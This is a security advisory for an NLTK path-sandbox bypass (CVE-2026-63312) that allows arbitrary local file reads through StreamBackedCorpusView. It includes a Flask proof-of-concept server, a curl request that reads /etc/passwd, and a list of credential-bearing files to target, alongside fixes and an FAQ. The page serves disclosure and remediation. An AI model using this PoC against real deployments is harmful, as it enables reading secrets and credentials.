CVE-2026-63312: NLTK StreamBackedCorpusView Bypasses pathsec.ENFORCE Arbitrary File Read
Summary Setting nltk.pathsec.ENFORCE = True is documented to sandbox all file access to allowed NLTK data directories and raise PermissionError on unauthorized access. However, StreamBackedCorpusView opens files via builtins.open() directly, bypassing pathsec.validatepath() entirely. An attacker who can influence the fileid argument can read arbitrary local files regardless of the ENFORCE setting.
Details nltk/pathsec.py:274 defines the enforcement point: python def open(file, mode="r", kwargs): validatepath(file, context="pathsec.open") return builtins.open(file, mode=mode, kwargs)
StreamBackedCorpusView.open() in nltk/corpus/reader/util.py bypasses this entirely for string paths:
python line 171 — no validatepath() call self.eofpos = os.stat(self.fileid).stsize
line 208 — calls builtins.open directly self.stream = open(self.fileid, "rb")
Also affected: XMLCorpusView and any corpus reader subclass that passes a raw string fileid to StreamBackedCorpusView.
PoC python pocserver.py — StreamBackedCorpusView pathsec.ENFORCE bypass from flask import Flask, request, jsonify import nltk.pathsec as ps from nltk.corpus.reader.util import StreamBackedCorpusView, readlineblock
Strict mode enabled — expected to sandbox all file access ps.ENFORCE = True
app = Flask(name)
@app.post("/read") def readfile(): fname = request.json.get("file") # fileid is user-controlled, passed directly to StreamBackedCorpusView # pathsec.ENFORCE = True is ignored — builtins.open() called internally view = StreamBackedCorpusView(fname, readlineblock, encoding="utf8") return jsonify({"file": fname, "content": view[0]})
app.run(host="0.0.0.0", port=8000) Trigger: curl -s -X POST http://localhost:8000/read \ -H "Content-Type: application/json" \ -d '{"file": "/etc/passwd"}' Confirmed on latest stable NLTK. No privileges required.
Impact - Type: Arbitrary Local File Read / Security Control Bypass - CWE: CWE-22, CWE-284 - OWASP: A01:2021 – Broken Access Control
Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWSSECRETACCESSKEY, DATABASEURL, etc.), and application config files.
The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.
Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validatepath().
Other sources
NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/nltkto a version that resolves this vulnerability.Fixed in 3.10.0 - Upgrade
Upgrade
nltkto a version that resolves this vulnerability.Fixed in 3.10.0 - Configuration
Ensure nltk.pathsec.ENFORCE is set to True in the application, because the described issue is a bypass of the enforcement point when StreamBackedCorpusView opens string paths directly.
NLTK pathsec (nltk.pathsec) ENFORCE = True
Event History
Frequently Asked Questions
Which deployments are exposed?
Deployments using NLTK versions before 3.10.0 are exposed if an attacker can control the fileid argument passed to StreamBackedCorpusView. The issue is remotely exploitable without authentication or user interaction when that control is available through an exposed application path.
Does enabling pathsec.ENFORCE prevent exploitation?
No. The vulnerable code calls builtins.open() directly rather than pathsec.open(), so the pathsec.ENFORCE setting is bypassed.
What can an attacker obtain through this issue?
An attacker can read arbitrary local files accessible to the running application, including sensitive system files and application credentials. The provided data describes confidentiality impact only; it does not indicate integrity or availability impact.
What should be done if updating is not immediately possible?
Do not allow untrusted input to control the fileid argument used by StreamBackedCorpusView. Restrict file identifiers to an application-defined allowlist rather than accepting paths or path-like values from users.